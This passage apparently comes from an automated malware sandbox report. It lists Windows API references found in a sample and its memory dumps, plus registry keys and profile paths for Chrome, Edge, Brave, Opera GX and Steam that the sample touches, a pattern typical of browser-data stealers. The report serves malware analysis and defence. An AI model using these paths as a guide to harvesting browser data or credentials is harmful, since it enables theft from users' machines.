Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process2"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTextAttribute"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleOutputCP"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CreateNamedPipeW"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "ConnectNamedPipe"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00003036.00000000.154061.67B50000.00000004.mdmp, 00000000-00003036.00000001.155278.67B50000.00000004.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptDeriveKey"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyKey"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp, 00000000-00004020.00000000.154196.FAB2A000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API (Indicator: "IsWow64Process2"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp")47:T8fa,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "LockResource" (Indicator: "LockResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "LoadResource failed" (Indicator: "LoadResource"; File: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "LoadResource failed" (Indicator: "LoadResource"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "LoadResource failed" (Indicator: "LoadResource"; Source: "00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp")48:T442,Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp")49:T424,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003372.00000001.155299.109B3000.00000002.mdmp")4a:T3204,"egistry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "istry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "chine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "y\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "ine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinSAT" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\Opera Software\Opera Stable" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\Opera Software\Opera GX Stable" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "Software\Valve\Steam" in Source: 00000000-00003036.00000000.154061.66598000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Google Chrome Beta\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Microsoft Edge\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "\Registry\Machine\SOFTWARE\Clients\StartMenuInternet\Brave\shell\open\command" in Source: 00000000-00003036.00000000.154061.665DF000.00000002.mdmp 00000000-00003036.00000001.155278.665DF000.00000002.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera GX Stable" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00003036.00000000.154061.67B50000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00003036.00000000.154061.67BB8000.00000004.mdmp 00000000-00003036.00000001.155278.67B50000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in 